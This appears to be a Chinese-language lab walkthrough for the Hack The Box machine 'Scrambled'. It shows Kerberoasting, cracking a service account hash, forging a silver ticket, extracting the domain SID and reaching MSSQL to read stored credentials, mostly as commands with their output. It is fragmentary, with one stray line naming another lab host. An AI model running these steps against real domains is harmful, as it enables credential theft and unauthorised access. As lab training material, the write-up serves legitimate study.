初始权限获得
端口扫描
访问80
大致浏览一下
知道NTLM 身份验证已禁用,且有个截图泄露了用户名 ksimpson
/salesorders.html有关于“销售订单应用程序”的详细信息,该应用程序确认了主机名/域名
nmap`,还指出了 TCP 4411 的用途:
我注意到有一个选项“启用调试日志记录”。
-
passwords.html
说:密码重置
我们的自助密码重置系统将很快启动并运行,但在此期间,请致电 IT 支持热线,我们将重置您的密码。如果没有人接听,请留言说明您的用户名,我们将重置您的密码,使其与用户名相同。
目录爆破
feroxbuster -u http://10.10.11.168 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
在没有凭据的情况下顺便看看ldap
ldapsearch -h 10.10.11.168 -x -s base namingcontexts
smbclient
行不通,我也没法使用crackmapexec
smbclient.py使用
利用impacket的
smbclient.py -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local
smbclient -U LicorDebellota.htb/kaorz
//10.129.228.115/netlogon
help
给出命令:
shares
显示目录:
大多数没办法访问
use public
get Network Security Changes.pdf
pdf李米娜再次提到 NTLM 由于 NTLM 中继攻击而被禁用,现在一切都是通过 Kerberos 完成的。它还提到,人力资源部门已删除 SQL 数据库的访问权限。
应为ntlm认证被禁止,利用kerbore,
GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-host dc1.scrm.local -request -k
获得sqlsvc的凭证
hashcat mssqlsvc-hash /usr/share/wordlists/rockyou.txt
Pegasus60
银票
这些信用实际上并不能直接允许我接触到任何新的东西。但因为这个帐户正在运行 SQL 服务,所以我可以使用该密码来执行Silver Ticket 攻击。adsecurity.org 链接的概述非常好。Silver Ticket 是伪造的 TGS(票证授予服务)票证,直接在客户端和服务之间使用,无需经过 DC。相反,TGS 票证是由服务帐户本身签名的,因此银票证仅限于仅验证服务本身。
要创建银票,攻击者需要:
-
服务帐户密码的 NTLM 哈希值;
-
域的SID
-
与帐户关联的服务主体名称 (SPN)。
GetUserSPNS.py
我已经通过上面获得了 SPN MSSQLSvc/dc1.scrm.local:1433
,
要获取密码“Pegasus60”的 NTLM 哈希值,我将使用这篇文章中的命令:
密码转换银票hash
oxdf@hacky$ iconv -f ASCII -t UTF-16LE <(printf "Pegasus60") | openssl dgst -md4
(stdin)= b999a16500b87d17ec7f2e2a68778f05
接下来获取域sid,第一个方法我不知道/etc/ldap/ldap.conf在哪
后面想弄再来看看
利用ldap转储sid,如何排除故障
要获取域 SID,我需要连接回 LDAP,但需要经过身份验证。需要进行大量的故障排除和搜索才能使其正常工作(感谢 TheCyberGeek 提供了一些关于此问题的提示)。如果我尝试以 ksimpson 身份连接,则会收到有关需要 SSL/TLS 的错误:
oxdf@hacky$ ldapsearch -h dc1.scrm.local -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)" ldap_bind: Strong(er) authentication required (8) additional info: 00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on the connection, data 0, v4563
我需要下载服务器证书才能启用此连接:
oxdf@hacky$ openssl s_client -connect dc1.scrm.local:636 CONNECTED(00000003) depth=0 CN = DC1.scrm.local verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN = DC1.scrm.local verify error:num=21:unable to verify the first certificate verify return:1 --- Certificate chain 0 s:CN = DC1.scrm.local i:DC = local, DC = scrm, CN = scrm-DC1-CA --- Server certificate -----BEGIN CERTIFICATE----- MIIGHDCCBQSgAwIBAgITEgAAAAIJqKDU0Cj0DgAAAAAAAjANBgkqhkiG9w0BAQUF ...[snip]... G6CIrcE0+XepleMQggP4zOUbTO01AUmq7eX2z031RE4ndrCtgBXuGSHDqnUSvmVN N6T9KeVeLFfbxp6gyHA3ehMBKrkbp3iLAWiWptbdIHE= -----END CERTIFICATE----- ...[snip]...
我将获取该证书并将其保存到文件中。我可以用一行代码做到这一点:
oxdf@hacky$ echo -n | openssl s_client -connect dc1.scrm.local:636 | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > ldapserver.pem depth=0 CN = DC1.scrm.local verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN = DC1.scrm.local verify error:num=21:unable to verify the first certificate verify return:1 DONE
现在我将编辑/etc/ldap/ldap.conf
以指出这一点:
# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. #BASE dc=example,dc=com #URI ldap://ldap.example.com ldap://ldap-master.example.com:666 #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /home/oxdf/hackthebox/scrambled-10.10.11.168/ldapserver.pem
ldapsearch
现在将转储所有用户:
oxdf@hacky$ ldapsearch -h dc1.scrm.local -Z -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)" # extended LDIF # # LDAPv3 # base <DC=scrm,DC=local> with scope subtree # filter: (objectClass=user) # requesting: ALL # ...[snip]... # Administrator, Users, scrm.local dn: CN=Administrator,CN=Users,DC=scrm,DC=local ...[snip]... objectSid:: AQUAAAAAAAUVAAAAhQSCo0F98mxA04uX9AEAAA== ...[snip]...
我需要字符串形式的 SID,因此我将使用此博客和一些 Python 来编写转换器:
#!/usr/bin/env python3 import base64 import struct import sys b64sid = sys.argv[1] binsid = base64.b64decode(b64sid) a, N, cccc, dddd, eeee, ffff, gggg = struct.unpack("BBxxxxxxIIIII", binsid) bb, bbbb = struct.unpack(">xxHIxxxxxxxxxxxxxxxxxxxx", binsid) bbbbbb = (bb << 32) | bbbb print(f"S-{a}-{bbbbbb}-{cccc}-{dddd}-{eeee}-{ffff}-{gggg}")
有用:
oxdf@hacky$ python sid.py AQUAAAAAAAUVAAAAhQSCo0F98mxA04uX9AEAAA== S-1-5-21-2743207045-1827831105-2542523200-500
第二种办法找sid
获取域 SID 的另一种(且更简单)方法是使用getPac.py
Impacket 中的脚本。该脚本旨在获取任何用户的权限属性证书,这只需要作为域中的用户进行身份验证。我将给它 ksimpson 的权限并询问管理员:
oxdf@hacky$ getPac.py -targetUser administrator scrm.local/ksimpson:ksimpson
Domain SID: S-1-5-21-2743207045-1827831105-2542523200
有大量有关该帐户的信息,但就我当前的目的而言,最后一项(在末尾看似随机的十六进制之前)是域 SID。
生成票据并且导入环境
ticketer.py -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 administrator
在 Linux 上,Kerberos 在预定义的位置查找票证,例如环境变量/tmp/krb5cc_[uid of current user]
指向的任何文件KRB5CCACHE
。如果我只是运行klist
,它将无法找到新票:
oxdf@hacky$ klist klist: No credentials cache found (filename: /tmp/krb5cc_1000)
如果我将 env 变量指向 from 的文件ticketer.py
,它会显示有关票证的信息:
oxdf@hacky$ KRB5CCNAME=administrator.ccache klist Ticket cache: FILE:administrator.ccache Default principal: administrator@SCRM.LOCAL Valid starting Expires Service principal 06/14/2022 18:44:15 06/14/2032 18:44:15 MSSQLSvc/dc1.scrm.local:1433@SCRM.LOCAL renew until 06/14/2032 18:44:15
使用相同的方法,mssqlclient.py
可以使用票证连接到数据库:
oxdf@hacky$ KRB5CCNAME=administrator.ccache mssqlclient.py -k dc1.scrm.local Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC1): Line 1: Changed database context to 'master'. [*] INFO(DC1): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL>
数据库枚举
select name, database_id from sys.databases;
ScrambleHR
看起来很有趣。它有三个表:
SELECT TABLE_NAME FROM ScrambleHR.INFORMATION_SCHEMA.TABLES;
和表都是空的Employees
。Timesheets
其中有一行UserImport
:
SELECT * from ScrambleHR.dbo.UserImport;
MiscSvc ScrambledEggs9900
MSSQL 能够通过xp_cmdshell
存储过程运行命令。在这里可以这样做,但是服务帐户无法访问盒子上的大部分内容,这在很大程度上是一个死胡同。
linux上安装powershell
Installing PowerShell on Ubuntu - PowerShell | Microsoft Learn
后续的反序列化和代码逆向看